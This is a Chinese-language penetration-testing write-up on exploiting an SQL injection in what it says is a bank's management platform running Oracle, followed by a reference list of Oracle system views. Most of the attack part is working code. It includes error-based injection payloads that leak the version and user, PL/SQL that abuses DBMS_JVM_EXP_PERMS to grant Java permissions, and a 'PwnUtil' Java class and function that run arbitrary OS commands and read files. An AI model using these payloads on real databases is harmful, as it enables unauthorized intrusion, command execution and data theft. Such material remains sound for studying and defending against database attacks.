Oracle调用Java执行命令

注入点发现

同事在代码审计时发现某银行的管理平台存在sql注入点:

注入点

但是通过sqlmap进行注入点检测时,却检测不出,于是尝试手工注入。

报错注入

数据库版本:

oracle_version

version_result

当前用户:

oracle_user

user_result

版本信息

1
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

当前用户

1
and+(select+dbms_xdb_version.makeversioned((select+user+from+dual))+from+dual)+is+not+null+--

尝试执行命令

查看用户权限

user_prvis

user_pri_result

于是尝试执行命令,oracle不能直接调用shell,需要借助java来执行系统命令。

获取Java执行权限

以下的方法适用于用户具有CREATE SESSION 的权限:

获取Java权限
1
2
3
4
5
6
7
8
9
10
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
获得java.lang.RuntimePermission权限以执行任意代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
DECLARE     POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor','NULL','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/


DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor','NULL','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

创建Java函数以执行命令

查询java权限
1
select wmsys.wm_concat(type_name) from user_java_policy
创建java函数
1
2
3
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
赋予函数执行权限
1
2
3
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
执行命令
1
SELECT PwnUtilFunc('whoami') FROM dual;

whoami

whoami_result

报错注入需要注意的地方

报错注入的回显信息有限,很多时候只能回显数据表中的第一行数据,这时候要用到wmsys.wm_concat拼接函数来把某个字段的信息转换为一行记录输出,就像上面在查看数据库用户的权限时的操作一样。

1
SELECT+wmsys.wm_concat(session_privs.privilege)+FROM+session_privs

附注

查询所有的用户表

1
SELECT * FROM USER_TABLES 

查询某个用户表xxx的字段名和数据类型

1
select A.COLUMN_NAME,A.DATA_TYPE  from user_tab_columns A where TABLE_NAME='xxx'

以及一些常用的系统表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
dba_开头.....

dba_users 数据库用户信息

dba_segments 表段信息

dba_extents 数据区信息

dba_objects 数据库对象信息

dba_tablespaces 数据库表空间信息

dba_data_files 数据文件设置信息

dba_temp_files 临时数据文件信息

dba_rollback_segs 回滚段信息

dba_ts_quotas 用户表空间配额信息

dba_free_space 数据库空闲空间信息

dba_profiles 数据库用户资源限制信息

dba_sys_privs 用户的系统权限信息

dba_tab_privs 用户具有的对象权限信息

dba_col_privs 用户具有的列对象权限信息

dba_role_privs 用户具有的角色信息

dba_audit_trail 审计跟踪记录信息

dba_stmt_audit_opts 审计设置信息

dba_audit_object 对象审计结果信息

dba_audit_session 会话审计结果信息

dba_indexes 用户模式的索引信息

user_开头

user_objects 用户对象信息

user_source 数据库用户的所有资源对象信息

user_segments 用户的表段信息

user_tables 用户的表对象信息

user_tab_columns 用户的表列信息

user_constraints 用户的对象约束信息

user_sys_privs 当前用户的系统权限信息

user_tab_privs 当前用户的对象权限信息

user_col_privs 当前用户的表列权限信息

user_role_privs 当前用户的角色权限信息

user_indexes 用户的索引信息

user_ind_columns 用户的索引对应的表列信息

user_cons_columns 用户的约束对应的表列信息

user_clusters 用户的所有簇信息

user_clu_columns 用户的簇所包含的内容信息

user_cluster_hash_expressions 散列簇的信息

v$开头

v$database 数据库信息

v$datafile 数据文件信息

v$controlfile 控制文件信息

v$logfile 重做日志信息

v$instance 数据库实例信息

v$log 日志组信息

v$loghist 日志历史信息

v$sga 数据库SGA信息

v$parameter 初始化参数信息

v$process 数据库服务器进程信息

v$bgprocess 数据库后台进程信息

v$controlfile_record_section 控制文件记载的各部分信息

v$thread 线程信息

v$datafile_header 数据文件头所记载的信息

v$archived_log 归档日志信息

v$archive_dest 归档日志的设置信息

v$logmnr_contents 归档日志分析的DML DDL结果信息

v$logmnr_dictionary 日志分析的字典文件信息

v$logmnr_logs 日志分析的日志列表信息

v$tablespace 表空间信息

v$tempfile 临时文件信息

v$filestat 数据文件的I/O统计信息

v$undostat Undo数据信息

v$rollname 在线回滚段信息

v$session 会话信息

v$transaction 事务信息

v$rollstat 回滚段统计信息

v$pwfile_users 特权用户信息

v$sqlarea 当前查询过的sql语句访问过的资源及相关的信息

v$sql 与v$sqlarea基本相同的相关信息

v$sysstat 数据库系统状态信息

all_开头

all_users 数据库所有用户的信息

all_objects 数据库所有的对象的信息

all_def_audit_opts 所有默认的审计设置信息

all_tables 所有的表对象信息

all_indexes 所有的数据库对象索引的信息

session_开头

session_roles 会话的角色信息

session_privs 会话的权限信息

index_开头

index_stats 索引的设置和存储信息

伪表

dual 系统伪列表信息